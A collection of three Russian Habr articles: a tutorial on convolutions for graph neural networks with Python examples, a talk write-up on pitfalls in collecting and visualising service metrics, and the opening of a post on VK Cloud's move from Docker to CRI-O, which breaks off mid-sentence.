[Свертка](https://ru.wikipedia.org/wiki/%D0%A1%D0%B2%D1%91%D1%80%D1%82%D0%BA%D0%B0_%D1%82%D0%B5%D0%BD%D0%B7%D0%BE%D1%80%D0%B0) — замечательный инструмент, позволяющий “аккумулировать” информацию о близлежащих (локальных) частях в данных. В случае с изображениями, мы естественным образом предполагаем, что соседние пиксели скорее всего связаны семантически (являются частью одного объекта). Поскольку одна и та же свертка применяется ко всем пикселям изображения, оператор, основанный на ней, становится независим к размеру изображения и занимает меньше памяти. Исходя из этого соображения, становится несложно понять, почему сверточные сети стали так популярны для обработки изображений.
Более формально, общие свойства евклидовых и неевклидовых данных были описаны в обзорной статье “[Geometric deep learning: going beyond Euclidean data](https://arxiv.org/pdf/1611.08097.pdf)” [[2](https://arxiv.org/pdf/1611.08097.pdf)] (всем познающим 3D ML, на наш взгляд, обязательно к ознакомлению).
Кратко перечислим свойства евклидовых данных:
* *Инвариантность к сдвигу (shift-invariance)*: если на изображении объект интереса (например, автомобиль) будет не в верхней левой части, а в правой нижней, то сверточный фильтр все равно сможет определить местоположение автомобиля. Чуть более формально: это свойство данных позволяет применять один и тот же оператор на всех частях данных.
* *Локализованность данных (locality)*: группа близлежащих частей данных скорее всего отвечает за определенный объект (в случае автомобиля это может быть группа пикселей, отвечающих за колесо или номер автомобиля). Формально, это позволяет нам применять относительно небольшого размера свертки, для того чтобы локализовать на изображениях объект интереса.
* *Иерархичность данных (compositionality or hierarchy)*: крупномасштабные и мелкомасштабные структуры внутри одного объекта данных, скорее всего, семантически связаны отношением “является составной частью” (для автомобиля группа пикселей определяющая автомобиль, состоит из более мелких групп определяющих составные части автомобиля: фары, капот, колеса и т.д.).
Для графов эти свойства обычно не выполняются. Наша задача — научиться конструировать такой же удобный как классические свертки инструмент для неевклидовых структур данных (в нашем случае для графов).
Для того, чтобы лучше понять идею стоящую за такой конструкцией, попытаемся взглянуть на изображения (евклидова структура) как на графы (неевклидова структура).
*Рис.2 Слева: изображение из датасета MNIST; справа: граф построенный по пикселям данного изображения. (см. работу [[3](https://arxiv.org/pdf/1711.08920.pdf)]).*
Структуру изображения, являющуюся многомерным массивом, у которого для каждого пикселя определены два соседа вдоль каждого измерения, можно представить в виде регулярной узловой решетки, как на изображении ниже. Для подобных визуализаций используется библиотека [python NetworkX](https://networkx.org/). На хабре есть хорошая [вводная статья](https://habr.com/ru/post/125898/) в этот фреймворк.
Как создать граф на изображении ниже:
```
import networkx as nx
G = nx.grid_graph([4, 4])
nx.draw(G)
```
Теперь попробуем применить стандартные свертки для таких регулярных сетей и попытаемся понять, почему такой подход сложно обобщить на графы произвольной структуры.
В качестве примера можно рассмотреть свертку, определяемую матрицей . Пусть в узлах нашей решетки хранятся некоторые числовые значения, например, интенсивность цвета пикселя записанные в матрицу — . Применение свертки обычно выражено в виде скалярного произведения (dot product) матрицы фильтра на матрицу значений в узлах сетки (это может быть подграф всей сети), совпадающую по размерам с фильтром (см. рисунок ниже). Хороший и подробный туториал по применению сверток к изображениям содержится в статье “[A guide to convolution arithmetic for deep learning](https://arxiv.org/pdf/1603.07285.pdf)” [[4](https://arxiv.org/pdf/1603.07285.pdf)].
Обратим внимание, что каждому узлу фильтра всегда найдется узел в данных, к какой бы точке данных мы не прикладывали этот фильтр. Для графов общего вида это утверждение не верно, что, соответственно, создает нам проблемы, если мы попытаемся применить данный фильтр к ним.
Операторы, вроде скалярного произведения, рассмотренного выше, относят к классу агрегирующих функций — методов сохранения информации о многих объектах в одном (в данном случае, результатом свертки является одно число, полученное из 9 исходных). Другим способом агрегировать информацию является использование т.н. pooling операций в сверточных сетях. Здесь важно заметить, что такие операции инвариантны к перестановке пикселей, в отличие от скалярного произведения рассмотренного выше, поскольку в общем случае
Кстати, рассмотрение изображений как регулярных графовых сетей приводит к интересному результату. Мы можем рассматривать иное разбиение изображения на составные части нежели исходные пиксели, например каким-либо способом объединять группы пикселей в т.н. “суперпиксели” и строить свертки нерегулярной структуры над ними. Про такой подход к обработке изображений можно прочитать в [данной заметке](https://towardsdatascience.com/can-we-do-better-than-convolutional-neural-networks-46ed90fed807).
*Рис.3 Пример построение суперпикселей разного разрешения на изображении из работы [[5](https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=6205760&casa_token=s3XnkG3a-s8AAAAA:52InVPMZ1Ajvz5PjhjWRDC8ONXxF2fwYIWozujQdpwSHnBWV-oESGHvvEyeiQAjibcn_VEqHpYKJdw&tag=1)].*
Теперь попробуем обобщить свертки на нерегулярные графы. Здесь мы столкнемся со следующей проблемой: граф в общем виде — совокупность двух множеств (вершины — , и связи между этими вершинами — ), а множества — инвариантный к перестановке элементов тип данных. Это значит, что мы можем случайным образом перемешать вершины графа (с учетом соответствующего перемешивания связей) и при этом сам граф останется прежним, но как было отмечено выше — свертка зависит от порядка элементов.
Поскольку не существует какой-то канонической расстановки вершин произвольного графа, требуется определить операцию свертки так, чтобы она не зависела от этой расстановки. Наиболее популярные способы определить свертку на графе — использование операторов на основе усреднения (*averaging*) [[6](https://arxiv.org/pdf/1609.02907.pdf)] или суммирования (*summation*) [[7](https://arxiv.org/pdf/1810.00826.pdf)] по всем соседям рассматриваемой вершины, с последующим умножением на матрицу весов . Таким образом, мы агрегируем всех соседей вместе с самой вершиной и проецируем граф через свертку в пространство другой размерности. Про различные виды агрегирующих операторов на графах можно прочитать в статье [[8](https://arxiv.org/pdf/1706.02216.pdf)].
Рассмотрим для лучшего понимания граф состоящий из 5 вершин на изображении ниже (рис.4). Применяя агрегирующий оператор на основе суммирования для вершины  получим новое значение признака этой вершины:
Таким образом, после применения оператора агрегирования, исходный граф сохраняет свою структуру, но в вершинах хранятся признаки с агрегированной информацией о соседях и теперь можно использовать матрицу признаков в вершинах графа для дальнейшей работы вне зависимости от того, как вершины исходно были пронумерованы.
*Рис.4 Пример нерегулярных графов и схематичное изображение соседей рассматриваемых вершин .*
Поскольку рассмотренные выше агрегирующие операторы применяются ко всем вершинам графа и позволяют собрать информацию о соседях в одном месте их называют “свертками” на графе. Однако, сконструированные таким образом свертки никак не учитывают топологию графа. Попробуем разобраться, как можно улучшить эти операторы с учетом топологического фактора.
Конструируем сверточный слой для графов
---------------------------------------
Сначала вспомним, как конструируется полносвязный слой в классической полносвязной архитектуре (В качестве примера будем держать в голове классификацию рукописных цифр из MNIST). Пусть  — вектор значений на -ом слое,  — матрица весов -го слоя. Тогда линейный полносвязный линейный слой может быть записан в виде:
После матричного умножения, в глубоком обучении принято налагать нелинейность (активационная функция нейрона), однако, если мы говорим о MNIST данных, оказывается можно обойтись только линейной частью и добиться доли правильных ответов на тестовой выборке в 91% ([здесь](https://github.com/bknyaz/examples/blob/master/fc_vs_graph_train.py) есть пример реализации такой сети).
Теперь давайте попробуем ввести в эту формулу множитель, который описывал бы топологию данных (в нашем случаи — графа). Для этого мы будем использовать [матрицу смежности](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0_%D1%81%D0%BC%D0%B5%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8) — . Ниже приведен пример неориентированного графа и его матрицы смежности. Обратите внимание, что различные варианты нумерации вершин графа приводят к различным матрицам смежности.
*Рис.5 Неориентированный граф из 5 вершин и его матрица смежности (голубой цвет — 0, желтый — 1) для двух вариантов нумерации вершин графа.*
Давайте определим матрицу смежности для регулярной сети, соответствующей растровому изображению размера  в примере с MNIST. Для этого этого воспользуемся стандартными приемами из numpy:
```
import numpy as np
from scipy.spatial.distance import cdist
img_size = 28 # MNIST image width and height
col, row = np.meshgrid(np.arange(img_size), np.arange(img_size))
coord = np.stack((col, row), axis=2).reshape(-1, 2) / img_size
dist = cdist(coord, coord) # рис. 6 (левое изображение)
sigma = 0.2 * np.pi # width of a Gaussian
A = np.exp(-dist ** 2 / sigma ** 2) # рис.6 (изображение в центре)
```
В данном случае, матрица `dist` — матрица смежности для полносвязного графа с  вершинами, матрица  — матрица смежности с учетом пространственной близости (здесь используется эвристическое соображение о том, что близлежащие пиксели должны сильнее коррелировать друг с другом чем те, что лежат на расстоянии). Этот способ определять матрицы смежности для задач, связанных с обработкой изображений, — популярный, но далеко не единственный (см. альтернативы в работах [[2](https://arxiv.org/pdf/1611.08097.pdf), [9](https://arxiv.org/pdf/1606.09375.pdf)]).
*Рис.6 Слева-направо: матрица смежности в форме расстояний между пикселями, матрица смежности в форме пространственной близости, подграф полносвязного графа рассматриваемого изображения .*
Теперь, на основе матрицы смежности , мы сможем сконструировать т.н. нормированную матрицу смежности . Ее можно сконструировать разными способами, но два наиболее популярных подхода следующие:
1.  и тогда матричное умножение  эквивалентно суммированию признаков по соседним вершинам [[7](https://arxiv.org/pdf/1810.00826.pdf)];
2.  и тогда матричное умножение  эквивалентно усреднению признаков по соседним вершинам [[6](https://arxiv.org/pdf/1609.02907.pdf)].
В итоге, после выбора способа нормализации матрицы смежности, мы сможем сконструировать линейный полносвязный слой вида:
Если к результату матричного умножения в правой части применить нелинейную функции активации, то мы сконструируем нелинейный полносвязный слой.
Можно написать достаточно простой код на основе операторов PyTorch, чтобы увидеть разницу в реализации обычного полносвязного слоя и полносвязного слоя с графовой сверткой:
```
import torch
import torch.nn as nn
C = 2 # Input feature dimensionality
F = 8 # Output feature dimensionality
W = nn.Linear(in_features=C, out_features=F) # Trainable weights
# Fully connected layer
X = torch.randn(1, C) # Input features
Z = W(X) # Output features : torch.Size([1, 8])
#Graph Neural Network layer
N = 6 # Number of nodes in a graph
X = torch.randn(N, C) # Input feature
A = torch.rand(N, N) # Adjacency matrix (edges of a graph)
Z = W(torch.mm(A, X)) # Output features: torch.Size([6, 8])
```
Полный код для данного примера можно найти в оригинальном репозитории [здесь](https://github.com/bknyaz/examples/blob/master/fc_vs_graph_train.py). Кстати, если вы попытаетесь сравнить качество обучения на MNIST для обычной и для графовой модели, вы обнаружите, что качество отличается несущественно. Это происходит по той причине, что для данного конкретного датасета, связи между пикселями в рукописных цифрах и так очень сильны, но что более важно, оператор  здесь есть не что иное, как [Гауссовский фильтр](https://habr.com/ru/post/151157/), поэтому такая архитектура графовой сети приводит фактически к тому, что у нас есть обычная сверточная нейронная сеть с фиксированным Гауссовским фильтром. Чтобы сверточная архитектура на регулярных графах работала лучше, можно применить ряд трюков, которые описаны в работах [[10](https://arxiv.org/pdf/1605.09673.pdf), [11](https://arxiv.org/pdf/1704.02901.pdf), [12](https://arxiv.org/pdf/1704.02901.pdf)].
*Рис.7 Гауссовский фильтр, использовавшийся в нейронной сети, описанной выше (слева) и результат его применения к изображению (справа).*
В качестве примера подобного трюка, можно рассмотреть слой, который позволяет детектировать границу разделения между любой парой пикселей:
```
import torch.nn as nn # using PyTorch
nn.Sequential(nn.Linear(4, 64), # map coordinates to a hidden layer
nn.ReLU(), # nonlinearity
nn.Linear(64, 1), # map hidden representation to edge
nn.Tanh()) # squash edge values to [-1, 1]
```
*Рис.8 2D-фильтр нейронной сети, описанной выше, с центром в красной точке. Усреднение (слева, точность 92,24%), обучение на основе координат (посередине, точность 91,05%), обучение на основе координат с некоторыми трюками (справа, точность 92,39%).*
**Код для создание подобной gif:**
```
import imageio # to save GIFs
import matplotlib as mpl
import matplotlib.pyplot as plt
import numpy as np
from scipy.spatial.distance import cdist
import cv2 # optional (for resizing the filter to look better)
img_size = 28
# Create/load some adjacency matrix A (for example, based on coordinates)
col, row = np.meshgrid(np.arange(img_size), np.arange(img_size))
coord = np.stack((col, row), axis=2).reshape(-1, 2) / img_size
dist = cdist(coord, coord) # distances between all pairs of pixels
sigma = 0.2 * np.pi # width of a Gaussian (can be a hyperparameter when training a model)
A = np.exp(- dist / sigma ** 2) # adjacency matrix of spatial similarity
# above, dist should have been squared to make it a Gaussian (forgot to do that)
scale = 4
img_list = []
cmap = mpl.cm.get_cmap('viridis')
for i in np.arange(0, img_size, 4): # for every row with step 4
for j in np.arange(0, img_size, 4): # for every col with step 4
k = i*img_size + j
img = A[k, :].reshape(img_size, img_size)
img = (img - img.min()) / (img.max() - img.min())
img = cmap(img)
img[i, j] = np.array([1., 0, 0, 0]) # add the red dot
img = cv2.resize(img, (img_size*scale, img_size*scale))
img_list.append((img * 255).astype(np.uint8))
imageio.mimsave('filter.gif', img_list, format='GIF', duration=0.2)
```
Можно заметить, что фильтр, который мы только что обучили (в середине), выглядит странно. Это связано с тем, что задача довольно сложная, поскольку мы оптимизируем две модели одновременно: модель, которая предсказывает разделяющую поверхность для групп пикселей, и модель, предсказывающая класс цифры. Чтобы узнать лучшие фильтры (например, тот, что справа), нам нужно применить некоторые другие приемы, которые можно найти в работе [[13](https://arxiv.org/pdf/1907.09000.pdf)].
Выводы
------
Графовые нейронные сети (GNN) — это очень гибкое и интересное семейство нейронных сетей, которые могут быть применены к действительно сложным данным. Как всегда, такая гибкость должна иметь определенную цену. В случае GNN — это трудность регуляризации модели путем определения таких операторов как свертка. Исследования в этом направлении продвигаются довольно быстро, так что GNN найдут применение во все более широких областях машинного обучения и компьютерного зрения.
*Рис.9 Граф работ по конструированию GNN архитектур из туториала Бориса Князева “[Anisotropic, Dynamic, Spectral and Multiscale Filters Defined on Graphs](https://towardsdatascience.com/tutorial-on-graph-neural-networks-for-computer-vision-and-beyond-part-2-be6d71d70f49)”.*
Более детальный обзор подходов к конструированию сверток на графах, вы сможете найти в оригинальном [туториале от Бориса Князева](https://medium.com/@BorisAKnyazev/tutorial-on-graph-neural-networks-for-computer-vision-and-beyond-part-1-3d9fada3b80d) и его продолжениях.
Тем из вас, кому стало интересно как же расшифровывается формула с обложки, рекомендуем к ознакомлению статью [[6](https://arxiv.org/pdf/1609.02907.pdf)].
Для всех кому интересно углубиться в тему сверток на графах, рекомендуем прочитать оставшиеся два туториала в серии заметок Бориса Князева на Medium.
**Источники:**
1. Hamilton, W.L., Ying, R. and Leskovec, J., 2017. Representation learning on graphs: Methods and applications. arXiv preprint arXiv:1709.05584. [[paper](https://arxiv.org/pdf/1709.05584.pdf)]
2. Bronstein, M.M., Bruna, J., LeCun, Y., Szlam, A. and Vandergheynst, P., 2017. Geometric deep learning: going beyond euclidean data. IEEE Signal Processing Magazine, 34(4), pp.18-42. [[paper](https://arxiv.org/pdf/1611.08097.pdf)]
3. Fey, M., Eric Lenssen, J., Weichert, F. and Müller, H., 2018. Splinecnn: Fast geometric deep learning with continuous b-spline kernels. In Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition (pp. 869-877). [[paper](https://arxiv.org/pdf/1711.08920.pdf)]
4. Dumoulin, V. and Visin, F., 2016. A guide to convolution arithmetic for deep learning. arXiv preprint arXiv:1603.07285. [[paper](https://arxiv.org/pdf/1603.07285.pdf)]
5. Achanta, R., Shaji, A., Smith, K., Lucchi, A., Fua, P. and Süsstrunk, S., 2012. SLIC superpixels compared to state-of-the-art superpixel methods. IEEE transactions on pattern analysis and machine intelligence, 34(11), pp.2274-2282. [[paper](https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=6205760&casa_token=s3XnkG3a-s8AAAAA:52InVPMZ1Ajvz5PjhjWRDC8ONXxF2fwYIWozujQdpwSHnBWV-oESGHvvEyeiQAjibcn_VEqHpYKJdw&tag=1)]
6. Kipf, T.N. and Welling, M., 2016. Semi-supervised classification with graph convolutional networks. arXiv preprint arXiv:1609.02907. [[paper](https://arxiv.org/pdf/1609.02907.pdf)]
7. Xu, K., Hu, W., Leskovec, J. and Jegelka, S., 2018. How powerful are graph neural networks?.. arXiv preprint arXiv:1810.00826. [[paper](https://arxiv.org/pdf/1810.00826.pdf)]
8. Hamilton, W., Ying, Z. and Leskovec, J., 2017. Inductive representation learning on large graphs. In Advances in neural information processing systems (pp. 1024-1034). [[paper](https://arxiv.org/pdf/1706.02216.pdf)]
9. Defferrard, M., Bresson, X. and Vandergheynst, P., 2016. Convolutional neural networks on graphs with fast localized spectral filtering. Advances in neural information processing systems, 29, pp.3844-3852. [[paper](https://arxiv.org/pdf/1606.09375.pdf)]
10. Jia, X., De Brabandere, B., Tuytelaars, T. and Gool, L.V., 2016. Dynamic filter networks. In Advances in neural information processing systems (pp. 667-675). [[paper](https://arxiv.org/pdf/1605.09673.pdf)]
11. Simonovsky, M. and Komodakis, N., 2017. Dynamic edge-conditioned filters in convolutional neural networks on graphs. In Proceedings of the IEEE conference on computer vision and pattern recognition (pp. 3693-3702). [[paper](https://arxiv.org/pdf/1704.02901.pdf)]
12. Knyazev, B., Lin, X., Amer, M.R. and Taylor, G.W., 2018. Spectral multigraph networks for discovering and fusing relationships in molecules. arXiv preprint arXiv:1811.09595. [[paper](https://arxiv.org/pdf/1811.09595.pdf)]
13. Knyazev, B., Lin, X., Amer, M.R. and Taylor, G.W., 2019. Image classification with hierarchical multigraph networks. arXiv preprint arXiv:1907.09000. [[paper](https://arxiv.org/pdf/1907.09000.pdf)]
14. Wang, Y., Sun, Y., Liu, Z., Sarma, S.E., Bronstein, M.M. and Solomon, J.M., 2019. Dynamic graph cnn for learning on point clouds. Acm Transactions On Graphics (tog), 38(5), pp.1-12. [[paper](https://dl.acm.org/doi/pdf/10.1145/3326362)]
15. Verma, N., Boyer, E. and Verbeek, J., 2018. Feastnet: Feature-steered graph convolutions for 3d shape analysis. In Proceedings of the IEEE conference on computer vision and pattern recognition (pp. 2598-2606). [[paper](https://arxiv.org/pdf/1706.05206.pdf)] | https://habr.com/ru/post/533746/ | null | ru | null |
# Как обложить сервис метриками и не облажаться
Меня зовут Евгений Жиров, я разработчик в инфраструктурной команде [Контур.Экстерна](https://www.kontur-extern.ru). Этот пост — текстовая версия моего [доклада](https://www.youtube.com/watch?v=1WvnifkND2g&list=PLc82OEDeni8TyujauVY7DBM_dA1hZl2tK&index=3) с недавнего митапа [Perm Tech Talks](https://vk.com/permtechtalks).
У нас в команде 200 микросервисов, которые должны быть отказоустойчивыми, чтобы пользователи не замечали никаких проблем. А проблемы, конечно, возникают. Поэтому мы собираем метрики, чтобы знать, как дела у конкретных сервисов и у системы в целом. Метрики помогают вовремя среагировать и всё починить.
Метрики можно собирать, хранить и визуализировать. И есть много способов собрать метрики неправильно, нарисовать с ошибками и сделать неверные выводы.
Я расскажу о нескольких примерах из своей работы и поделюсь советами.
Какие бывают метрики?
=====================
*Метрика requests.count.byhost.\**
**Количественные метрики.** Самая простая метрика для любого веб-сервиса — это число запросов, которые влетают в него в единицу времени. Обычно эту метрику называют RPS, requests per second.
Вот пример. У этого сервиса три реплики, и суммарно в них влетает почти 400 запросов в секунду. Этот график очень простой, но даёт много информации. Видно, что нагрузка равномерно распределяется по репликам сервиса, каждая реплика получает примерно равное количество запросов. Значит, с настройками балансировщиков всё в порядке.
**Интервалы времени.** Это более интересные метрики. Обычно их отображают в перцентилях. Например, этот график читается так: 99% запросов на поиск выполняются быстрее, чем 25 мс; а 95% запросов — быстрее, чем 3 мс.
*Метрика client.requests.search.latency.\**
**Системные метрики.** Это отдельный класс метрик. Они не связаны с самим приложением, но позволяют диагностировать состояние ресурсов, которые оно использует.
*Метрика system.loadavg.\**
На графике метрики одного из кластеров Cassandra — значение load average, поделённое на количество процессорных ядер. По ним можно определить, проседает ли наш кластер по CPU и нужно ли добавить больше железа. Здесь видно, что сейчас значение около 12% и пока CPU хватает.
Ещё на графике виден профиль нагрузки. Здесь день, ночь, снова дневной пик активности и спад к вечеру. Важно знать, когда у приложения пиковая нагрузка. Часто бывает, что приложение в среднем не нагружено, а потом в него прилетает 10 000 запросов, и всё тормозит.
Зачем нужны метрики?
====================
Метрики — это наши «глаза». Без метрик невозможно судить о нагрузках, производительности и отказоустойчивости приложения.
1. Можно быстро реагировать на проблемы. На каждый график вешается оповещение, и когда значение превышает заданный порог, приходит уведомление.
2. Можно следить, как кластер справляется с нагрузкой и вовремя добавлять железо.
3. Можно сравнивать по графикам производительность приложения до и после релиза.
Как начать собирать метрики?
============================
Предположим, вы пишете под .NET. Ищете в интернете «metrics for .NET apps» и получаете много библиотек с открытым кодом: например, [Metrics.NET](https://github.com/etishor/Metrics.NET) или [App Metrics](https://www.app-metrics.io). Они помогают собирать метрики приложения.
Чтобы хранить собранные метрики, вам нужна база данных. А чтобы рисовать графики — интерфейс для визуализации метрик. Мы в Контуре используем общепринятые [Graphite](https://graphiteapp.org) и [Grafana](https://grafana.com).
Вы всё настраиваете, разворачиваете своё приложение, но однажды понимаете, что облажались. Например, не смогли предвидеть поломку. Или просто не понимаете, что значат числа, которые вы собираете. Вот несколько примеров из моей работы.
Пример 1. Cargo programming
===========================
Все истории начинаются одинаково. Утром, примерно в 2 часа дня, я прихожу на работу. Смотрю на графики и внезапно вижу ошибки от любимого сервиса.
Огромный пик! Хотя нет. Высота пика по вертикальной оси — всего 4×10–17 ошибок в минуту. При этом с сервисом всё в порядке, в логах чисто. Начинаю разбираться.
Смотрю, что было с сервисом 15 часов назад. Здесь пик побольше и значения более адекватные. Но какая метрика отображается на графике? Errors per minute. Только вдумайтесь: 0,4 ошибки в минуту. Это немножко странно, потому что приложение отправляет количество ошибок каждую минуту. Это должно быть целое число: 0, 1, 2 или 100, но никак не 0,4. Здесь что-то не так. Как часто бывает при первой встрече с чем-то странным, решаю проигнорировать. Иду дальше писать код.
Правда, проблема не отпускает и преследует на других графиках.
Вот график с временем чтения и записи в Cassandra. Синие линии — ошибки записи в базу данных. Эти метрики отправляет даже не мой код, а сама Cassandra. Получается, что в 10:10 начались ошибки и кончились в 10:35. Целых 25 минут Cassandra не работала.
А сколько минут на самом деле была проблема? Вот клиентские метрики, то есть метрики сервисов, которые пишут в эту базу. Совершенно другая картина: в одну минуту было 50 тыс. проваленных записей, а потом всё снова стало хорошо.
Когда что-то происходит во второй, третий, четвёртый раз — пора разобраться, что происходит. Как проще всего сделать? Нужен лабораторный эксперимент. Пишем тривиальный счётчик, который потокобезопасно считает количество событий, а потом в бесконечном цикле отправляет значение в Graphite и спит минуту.
```
class Counter
{
private long value;
public void Add(long amount)
{
Interlocked.Add(ref value, amount);
}
public void Start()
{
while (true)
{
var result = Interlocked.Exchange(ref value, 0);
SaveToStorage(result);
Thread.Sleep(1000 * 60);
}
}
}
```
Пишем два теста. В одном используем свой Counter, который работает понятным образом. В другом используем счётчик из популярной библиотеки. В моём случае это [Meter](https://github.com/etishor/Metrics.NET/blob/master/Src/Metrics/Meter.cs) из Metrics.NET, у него похожий интерфейс.
Какую нагрузку считаем? Пусть 2 минуты будет 10 RPS, потом в течение 10 секунд — 100 RPS, а потом снова 10 RPS в течение 2 минут. Вот график:
Зелёная линия — то, что на самом деле происходило с сервисом. А жёлтое — то, что даёт популярная библиотека. Не очень-то похоже.
Что тут происходит? [Экспоненциальное сглаживание](https://en.wikipedia.org/wiki/Exponential_smoothing).
Вот ещё один пример. Для реального значения метрики 100 получается 54 путём взвешенного сложения всех предыдущих точек. Коэффициенты уменьшаются в геометрической прогрессии, и получается странное сглаженное значение.
Мы хотим померять количество запросов в секунду или количество ошибок в минуту, но получаем какие-то странные значения. Обидно, что такое поведение есть во многих популярных библиотеках для сбора метрик под .NET и Java. Изменить его довольно сложно.
Какая причина? Я думаю, что дело в cargo programming, когда разработчики используют определённую технологию или пишут код определённым образом, потому что так делали деды. Исходные причины забыты, но все продолжают так делать, потому что все так делают.
При подсчёте метрик веб-сервисов экспоненциальное сглаживание только мешает. Оно не позволяет увидеть точные значения, врёт в пиках и даёт длинный хвост, который приводит к ложным срабатываниям оповещений. Оно скрывает реальный профиль нагрузки, потому что вместо одного пика мы видим совершенно другую фигуру, которая потом затухает ещё 15 часов.
Наверняка многие из вас видели утилиту top в \*nix. Она показывает три числа load average (за 1 минуту, 5 минут и 15 минут), сглаженные похожим образом. По ним нельзя судить о точном значении, но хорошо виден тренд. Например, можно увидеть, что за 15 минут нагрузка процессора серьёзно выросла. Тут сглаживание помогает, потому что с ним шумная метрика меняется гладко, а не болтается от 0 до 100.
Пример 2. Сonsolidation
=======================
Ещё бывают проблемы с визуализацией метрик.
Прихожу я опять на работу, смотрю на графики. Вот 95-й перцентиль времени поиска. Видно, что утром поиск тормозил: 550 мс у одной из точек, есть и другие пики. Может быть, это нормальное поведение сервиса? Надо изменить масштаб и посмотреть, сколько таких пиков было за неделю.
Здесь тоже много пиков. Но тот самый, в 6 утра, поменял своё значение! Теперь 276 мс. Как такое может быть?
Причина в стратегии объединения точек — *consolidate by* в Graphite. Когда вы изменяете временной масштаб, и все точки не помещаются на экран, Graphite объединяет их с помощью выбранной функции. Бывают разные, но по умолчанию это среднее, которое плохо подходит для этого графика. Обычно в случае перцентилей интересуют максимумы, иногда хочется взять сумму.
Если забыть о консолидации точек, выбрать неверную функцию или оставить ту, что по умолчанию, легко сделать неверные выводы из графиков.
Пример 3. Графики врут
======================
Опять прихожу на работу, открываю график, а там совсем всё плохо. Уже сутки сервис стабильно возвращает 503 ошибки каждую минуту. Здесь-то в чём проблема? Она очень простая и забавная: просто недостаточно данных для визуализации.
В Graphite есть настройка о том, как нужно соединять точки на графике, если в какое-то время не было данных. Если выбрать бездумно, то легко сделать неверный вывод. На самом-то деле ошибок было всего несколько в паре случаев.
Что делать? Писать в метрики нули, если ошибок не было, или использовать другой тип графика — например, столбики.
Пример 4. Физический смысл метрик
=================================
Известно, что приложения при работе используют оперативную память. Если приложение выделило много памяти и не может выделить ещё больше, оно начинает падать со странными ошибками.
В моём случае одно из приложений начало падать из-за access violation. Я понял, что причина именно в нехватке памяти, но по метрикам всё было отлично — подумаешь, 40 МБ, ничего страшного.
На самом деле, конечно, нет такой метрики — «сколько памяти использует приложение». Метрик для оперативной памяти много. Например, у каждого процесса в Windows есть *working set* и *private bytes*. Если грубо, working set — это объём занятой физической памяти, а private bytes — сколько памяти вообще выделило приложение. У приложения может быть куча данных в файле подкачки, но почти ничего в физической памяти. Приложению будет плохо, и оно развалится.
Надо помнить, что нет таких простых метрик как «память» или «загрузка процессора». Метрик больше, и они все значат что-то конкретное.
Выводы
======
1. Нужно понимать, что измеряешь. Если мерять просто «память», то полученные значения не будут значить практически ничего.
2. Нужно понимать, как работают инструменты. Например, помнить, что библиотека для сбора метрик сделает экспоненциальное сглаживание, а база данных консолидирует точки по какому-то алгоритму.
3. Нужно задумываться, если метрики не соответствуют другим данным (например, логам) или наблюдаемому поведению системы. Нельзя проходить мимо. Если не можете объяснить несоответствие, то полученные метрики для вас бесполезны.
А как вы собираете и визуализируете метрики? Какие сложности со сбором метрики и их отображением были у вас? | https://habr.com/ru/post/341326/ | null | ru | null |
# Жизнь после Docker: как команда VK Cloud переходила на CRI-O
Kubernetes [прекратил](https://kubernetes.io/blog/2020/12/02/dockershim-faq/) поддержку Docker и отказался от dockershim — прокладки между kubelet и Docker, которая позволяет последнему работать с CRI. В итоге разработчики столкнулись с необходимостью использования новых, совместимых с CRI, движков для запуска контейнеров. Из числа общеизвестных таких два — containerd и CRI-O.
Меня зовут Александр Чадин, я руководитель команды разработки в VK Cloud. Расскажу, как мы искали замену Docker для сервиса [Cloud Containers](https://mcs.mail.ru/containers/), на что ориентировались при выборе нового движка, как внедряли новое решение и с какими подводными камнями при этом столкнулись.
Подробнее о предпосылках
------------------------
Docker — один из удобных и популярных инструментов для работы с контейнерами, который можно использовать как на сервере, так и на любом ПК. Он содержит набор инструментов, благодаря которым может выполнять несколько задач:
* создавать образы контейнеров;
* работать с репозиториями;
* создавать, запускать и управлять контейнерами.
Фактически Docker — мультитул для работы с контейнерами.
Но это все-таки вендорское решение. У него открыт канал обратной связи, но, учитывая последние новости, путь этого решения сложно предсказать. Устранение уязвимостей, добавление новых функций, расширение совместимостей и других обновлений — все зависит от вендора.
Для регулирования экосистемы контейнерных технологий были разработаны два основных стандарта. Они помогают добиться совместимости между различными инструментами и избежать зависимости от одной компании или проекта.
* **Container Runtime Interface (CRI).** CRI — API, который Kubernetes использует для управления различными Container Runtime, создающими и управляющими контейнерами. CRI упрощает работу с Container Runtime. Вместо того, чтобы включать в Kubernetes поддержку каждой из них, используется стандарт CRI. При этом задача управления контейнерами полностью ложится на Container Runtime.
* **Open Container Initiative (OCI).** Определяет стандарт образов и контейнеров.
С появлением и внедрением стандартов Kubernetes стал поддерживать только те Container Runtime, которые работают с Container Runtime Interface (CRI). При этом Docker не поддерживает этот стандарт напрямую и использует для работы с Kubernetes прослойку — компонент dockershim.
Кроме того, у Docker при обновлении иногда изменяется API. Поэтому приходится привязываться к конкретным версиям Docker, чтобы быть уверенным, что все работает как надо.
В результате от монолитного Docker, выполняющего сразу много задач, отказались — Kubernetes полностью прекратил его поддержку. Разработчики, в том числе и наша команда, столкнулись с необходимостью переезда на совместимые с CRI инструменты. Среди альтернатив — движки containerd и CRI-O, отвечающие за запуск контейнеров.
* **сontainerd** — движок Container Runtime, который выделен из проекта Docker. Реализует спецификацию CRI. Умеет скачивать образы из репозитория, управлять ими, передавать их Container Runtime нижнего уровня. containerd использует собственный плагин для поддержки CRI в Kubernetes.
* **CRI-O** — движок Container Runtime, реализующий Container Runtime Interface (CRI). Реализация создана с нуля при поддержке Red Hat, IBM, Intel и SUSE как Container Runtime для Kubernetes. Это альтернатива containerd, которая также позволяет загружать образы контейнеров из репозиториев, управлять ими и запускать Container Runtime нижнего уровня для запуска процессов контейнера.
CRI-O или сontainerd: что и как мы выбрали для себя
---------------------------------------------------
CRI-O или сontainerd — разные реализации CRI. Ввиду стандартизации компонента они практически идентичны, в том числе и по совместимости с другими узлами Kubernetes. Фактически движки отличаются только на уровне технических параметров — именно они и являются определяющими при выборе.
При поиске движка для нашего облачного Kubernetes [Cloud Containers](https://mcs.mail.ru/containers/) мы учитывали:
* скорость загрузки и остановки контейнеров;
* безопасность;
* структурированность компонентов;
* поддержку со стороны сообщества.
В результате изучения уже проведенных исследований и собственных тестов мы обнаружили, что:
